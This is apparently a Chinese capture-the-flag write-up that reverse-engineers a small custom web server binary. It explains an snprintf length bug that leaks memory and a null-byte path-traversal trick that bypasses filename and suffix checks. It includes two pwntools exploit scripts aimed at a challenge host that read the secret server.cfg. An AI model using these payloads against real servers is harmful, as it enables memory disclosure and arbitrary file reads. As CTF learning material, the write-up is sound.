三个白帽之寻找来自星星的你第二期WP,这期的题目我觉得应该放在Linux逆向分类中…
IDA静态+GDB动态可以降低本地难度,通过IDA发现还需要有一个server.cfg
文件,被读入了32bytes,路径在server.bin
的上一层,创建完server.cfg
文件后,随便输入32个A
,然后允许该脚本:$ ./server.bin 8888 ./
, 该进程将会在后台运行,使用$ nc 127.0.0.1 8888
,后通过$ ps aux|grep server.bin
查看子进程号(将会有两个server.bin进程,一个是主进程一个子进程,注意区分), 然后使用$ gdb a 进程号
attach进程进行动态调试
不过使用nc不能输入非可显字符,所以建议用pwntools.
本题的入口在sub_401B08
函数,不过对解本题没啥帮助,所以可以跳到子进程的入口点sub_4014D3
, 所以我们应该从该函数看起.
1 2 3 4 5
| if ( !strncasecmp(::s1, "GET /server.bin", 0xFuLL) ) { file = "/server.bin"; v11 = (__int64)"image/bin"; }
|
第一个判断,也就是下载本题二进制文件,没啥好说的,主要是从后面开始有几个重要的判断,首先
1 2 3
| if ( strncasecmp(::s1, "GET", 3uLL) ) sub_40133B(2, 4202955LL, 4202720LL, a1); // 输入的前三个字符串要是GET,不区分大小写
|
PS: 这里注意下,sub_40133B
函数的第一个参数为2
,则是执行报错退出.
接下来
1 2 3 4 5 6 7
| qword_606248 = (__int64)strstr(::s1, "HTTP/1.0"); if ( !qword_606248 ) { qword_606248 = (__int64)strstr(::s1, "HTTP/1.1"); if ( !qword_606248 ) sub_40133B(2, 4202929LL, 4202720LL, a1); }
|
然后传入的参数要存在HTTP/1.0
或者HTTP/1.1
字符串.
接下来就是第一步的关键点了,
1 2 3 4 5 6 7 8 9 10 11 12
| haystack = strstr(::s1, "Cookie: "); if ( !haystack ) sub_40133B(2, 4202908LL, 4202720LL, a1); s = strstr(haystack, "auth="); if ( !s ) sub_40133B(2, 0x4021E6LL, 0x4020E0LL, a1); sa = (__int64)(s + 5); if ( strlen((const char *)sa) > 0x40 ) sub_40133B(2, 4203002LL, 4202720LL, a1); sub_400F12((__int64)&s1, sa); if ( memcmp(&s1, s2, 0x20uLL) ) sub_40133B(2, 4203032LL, 4202720LL, a1);
|
我们需传入Cookie参数,格式是Cookie: auth=xxxxx
, xxxxx的长度不能大于0x40, 然后把sa传入sub_400F12
函数, 进行一系列迷之处理后,赋值到s1,然后和s2比较前0x20个byte.
s2是啥?s2是传入sub_4014D3
的第三个参数,来溯源一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| //sub_4014D3 void __fastcall __noreturn sub_4014D3(unsigned int a1, unsigned int a2, const void *a3) { ... s2 = a3; ... //sub_401B08 ... sub_401125("../server.cfg", &v11); ... sub_4014D3(v9, i, &v11); //sub_401125 int __fastcall sub_401125(const char *a1, char *a2) { FILE *stream; // [sp+20h] [bp-10h]@1 char *v4; // [sp+28h] [bp-8h]@1
stream = fopen(a1, "r"); fgets(a2, 32, stream); v4 = strpbrk(a2, "\r\n"); if ( v4 ) *v4 = 0; return fclose(stream); }
|
s2为../server.cfg
文件中的前32bytes字符串,属于未知,本题的第一步就是想办法得到s2的值或者绕过cookie认证.
之后在报错退出的方法中看到一个函数sub_401195
1 2 3 4 5 6 7 8 9 10 11 12
| //sub_40133B else if ( a1 == 2 ) { sub_401195(v10, 0x194u, 0x4020E0LL); sprintf(s, "<HTML><BODY><H1>WebServer: %s %s</H1></BODY></HTML>", a2, v9); v6 = strlen(s); sub_4012E7(v10, s, v6); sprintf(s, "SORRY: %s-%s", a2, v9); } //sub_401195 v4 = snprintf(&s, 0x100uLL, "%s %d %s\r\n", v3, a2, a3); result = write(fd, &s, v4);
|
通过google查找snprintf文档发现,该函数的功能我用python来表达下
1 2 3
| tmp = "%s %d %s\r\n"%(v3, a2, a3) s = tmp[:0x100] v4 = len(tmp)
|
问题就出在这了,v4的值为len(tmp)
而不是len(s)
.
这里的v3是可控的,所以我们可以通过控制v3来控制v4的值,然后通过result = write(fd, &s, v4);
泄露内存,做到这,第一步的思路已经很明了了,就是通过内存泄露来获取s2的值
通过本地调试,发现
1 2 3
| 0x7ffe453 2ffb0 //s的地址
0x7ffe453 30210 //s2的地址
|
接下来就简单了,直接贴payload:
1 2 3 4 5 6 7 8 9 10 11
| #!/usr/bin/env python #-*- coding:utf-8 -*-
from pwn import *
context.log_level='debug' r = remote('123.59.56.23', 43481) payload = 'GET /tmp/a\nHTTP/1.0' + 'g'*(608+3) + 'Cookie: auth=x\n' r.send(payload) while True: r.recv()
|
得到../server.cfg
中32bytes的内容.
接下来就是分析sub_400F12
函数,发现是一个base64decode函数,那就简单了,把这32bytes内容进行base64编码后加入cookie中.
进入下一步,继续代码
代码贴出来分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| .... for ( i = 0LL; i < (signed __int64)n; ++i ) { if ( *(_BYTE *)(i + 0x605240) == 0xD || *(_BYTE *)(i + 0x605240) == 0xA ) *(_BYTE *)(i + 0x605240) = 0; } // \n和\r都会转换成\0 .... file = (char *)&unk_605244; v8 = strlen((const char *)&unk_605244); v15 = 0LL; while ( v8 > v15 && isspace(file[v15]) ) { ++v15; ++file; } // 去除开头的空格 for ( j = 0LL; ; ++j ) { if ( strlen(file) <= j ) goto LABEL_38; if ( isspace(file[j]) ) break; } file[j] = 0; //把遇到的第一个空格转换成\0 LABEL_38: v9 = strlen(file); for ( k = 0; k < v9; ++k ) { if ( file[k] == 0x2E && file[k + 1] == 0x2E ) sub_40133B(2, 4203054LL, (__int64)file, a1); } // file中不能存在连续的0x2E(.)字符 v11 = 0LL; for ( l = 0LL; ; ++l ) { if ( !off_603160[2 * l] ) goto LABEL_49; v3 = (signed int)strlen(off_603160[2 * l]); v4 = off_603160[2 * l]; v5 = strlen(file); if ( !strncmp(&file[v5 - v3], v4, v3) ) break; } v11 = (__int64)off_603160[2 * l + 1]; //后缀判断 LABEL_49: if ( !v11 ) sub_40133B(2, 4203080LL, 4202720LL, a1); } filea = (__int64)(file + 1); v10 = open((const char *)filea, 0, s2);
|
后缀判断:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 0x401f20: "gif" 0x401f24: "image/gif" 0x401f2e: "jpg" 0x401f32: "image/jpeg" 0x401f3d: "png" 0x401f41: "image/png" 0x401f4b: "htm" 0x401f4f: "text/html" 0x401f59: "xml" 0x401f5d: "text/xml" 0x401f66: "tz" 0x401f69: "image/gz" 0x401f72: "js" 0x401f75: "text/js" 0x401f7d: "css" 0x401f81: "text/css" // 允许的后缀有8个: git, jpg, png, htm, xml, tz, js, css
|
根据上面的注释,我们一个一个的bypass限制,先来看看怎么bypass ..
的限制,
来看这句代码
1 2
| filea = (__int64)(file + 1); v10 = open((const char *)filea, 0, s2);
|
最后打开的路径为filea,如果filea中存在..
而file中不存在..
不就可以绕过了吗?而filea=file+1
, 所以这就存在一种情况,
file=\0../xxx
-> filea=../xxx
所以,strlen(file) == 0
,从而bypass这段代码:
1 2 3 4 5 6
| v9 = strlen(file); for ( k = 0; k < v9; ++k ) { if ( file[k] == 0x2E && file[k + 1] == 0x2E ) sub_40133B(2, 4203054LL, (__int64)file, a1); }
|
接下来就想想如何bypass后缀名,
1 2 3 4 5 6 7
| if ( !off_603160[2 * l] ) goto LABEL_49; v3 = (signed int)strlen(off_603160[2 * l]); v4 = off_603160[2 * l]; v5 = strlen(file); if ( !strncmp(&file[v5 - v3], v4, v3) ) break;
|
这串是后缀判断的代码,按照前面bypass..
的情况,v5=0
, v3 == 2 || v3 == 3
, 所以进行比较的字符串为file[-2] || file[-3]
1
| file = (char *)&unk_605244;
|
所以我们可以构造出一个payload:getz\n../xxx
(PS: \0
需要通过\n
或者\r
进行转换)
那么我们可以得到:
1 2 3
| file = "\0../xxx" file[1:] = "../xxx" file[-2] = "tz"
|
完美绕过所以判断,可以进行任意文件读取,payload:
1 2 3 4 5 6 7 8 9 10 11
| #!/usr/bin/env python #-*- coding:utf-8 -*-
from pwn import *
context.log_level='debug' r = remote('123.59.56.23', 43481) payload = "GEtz\n../server.cfg\nHTTP/1.0 Cookie: auth=BAjSrP9/AABm7NKs/38AAFgE0qz/fwAAEsjSrP9/AAA" r.send(payload) while True: r.recv()
|
flag就在../server.cfg
文件中
做完这题后发现自己的逆向能力还是太差了,以后多做写逆向题….